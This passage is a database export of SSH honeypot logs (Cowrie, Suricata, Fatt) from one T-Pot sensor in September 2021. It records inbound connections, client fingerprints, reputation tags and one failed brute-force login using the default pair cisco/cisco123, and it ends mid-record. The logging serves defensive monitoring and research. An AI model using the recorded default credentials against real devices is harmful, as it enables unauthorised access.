23784	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:51.024575+03	2021-09-20 14:15:07.951471+03	{"_id": "xAbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1bc1f00280b9", "@version": "1", "duration": 2.430906057357788, "timestamp": "2021-09-20T11:07:51.024575Z", "@timestamp": "2021-09-20T11:07:51.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23785	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:51.051517+03	2021-09-20 14:15:07.95247+03	{"_id": "xQbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "466dc77f0ea6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:51.051517Z", "@timestamp": "2021-09-20T11:07:51.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23786	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:51.100555+03	2021-09-20 14:15:07.95447+03	{"_id": "xgbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8374cd710309", "@version": "1", "duration": 2.490535020828247, "timestamp": "2021-09-20T11:07:51.100555Z", "@timestamp": "2021-09-20T11:07:51.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23787	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:51.110648+03	2021-09-20 14:15:07.955471+03	{"_id": "xwbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "551fb0376fed", "@version": "1", "duration": 2.738624095916748, "timestamp": "2021-09-20T11:07:51.110648Z", "@timestamp": "2021-09-20T11:07:51.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23788	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:51.297845+03	2021-09-20 14:15:07.95647+03	{"_id": "yAbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [cisco/cisco123] failed", "session": "5aef5ee0c8e4", "@version": "1", "password": "cisco123", "username": "cisco", "timestamp": "2021-09-20T11:07:51.297845Z", "@timestamp": "2021-09-20T11:07:51.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23789	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:07:51.859182+03	2021-09-20 14:15:07.957471+03	{"_id": "ywbkAnwBvYTbRNuECw-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 511867416445633, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49506, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.859182Z", "@timestamp": "2021-09-20T11:07:51.859Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23790	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:51.325414+03	2021-09-20 14:15:07.959471+03	{"_id": "zQbkAnwBvYTbRNuEDA9q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58210, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.325414", "@timestamp": "2021-09-20T11:07:51.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23791	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:52.647964+03	2021-09-20 14:15:07.96147+03	{"_id": "3AbkAnwBvYTbRNuEDw9x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1943747235965151, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57696, "dest_port": 22, "timestamp": "2021-09-20T11:07:52.647964Z", "@timestamp": "2021-09-20T11:07:52.647Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23797	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:52.583318+03	2021-09-20 14:15:07.96847+03	{"_id": "6gbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5aef5ee0c8e4", "@version": "1", "duration": 2.4514482021331787, "timestamp": "2021-09-20T11:07:52.583318Z", "@timestamp": "2021-09-20T11:07:52.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23792	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:52.648311+03	2021-09-20 14:15:07.962471+03	{"_id": "3gbkAnwBvYTbRNuEEA9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57696, "dest_port": 22, "timestamp": "2021-09-20T11:07:52.648311", "@timestamp": "2021-09-20T11:07:52.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:52.741264+03	2021-09-20 14:15:07.963473+03	{"_id": "4AbkAnwBvYTbRNuEEA9U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50384, "timestamp": "2021-09-20T11:07:52.741264", "@timestamp": "2021-09-20T11:07:52.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23794	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:52.370325+03	2021-09-20 14:15:07.965471+03	{"_id": "4QbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57696 (192.168.176.2:22) [session: 82097474abd6]", "session": "82097474abd6", "@version": "1", "protocol": "ssh", "src_port": 57696, "dest_port": 22, "timestamp": "2021-09-20T11:07:52.370325Z", "@timestamp": "2021-09-20T11:07:52.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23795	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:52.735805+03	2021-09-20 14:15:07.966471+03	{"_id": "4gbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:50384 (192.168.176.2:22) [session: a45dfa802645]", "session": "a45dfa802645", "@version": "1", "protocol": "ssh", "src_port": 50384, "dest_port": 22, "timestamp": "2021-09-20T11:07:52.735805Z", "@timestamp": "2021-09-20T11:07:52.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23796	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:52.403609+03	2021-09-20 14:15:07.96747+03	{"_id": "6QbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "82097474abd6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:52.403609Z", "@timestamp": "2021-09-20T11:07:52.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23798	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:52.649061+03	2021-09-20 14:15:07.970471+03	{"_id": "6wbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", 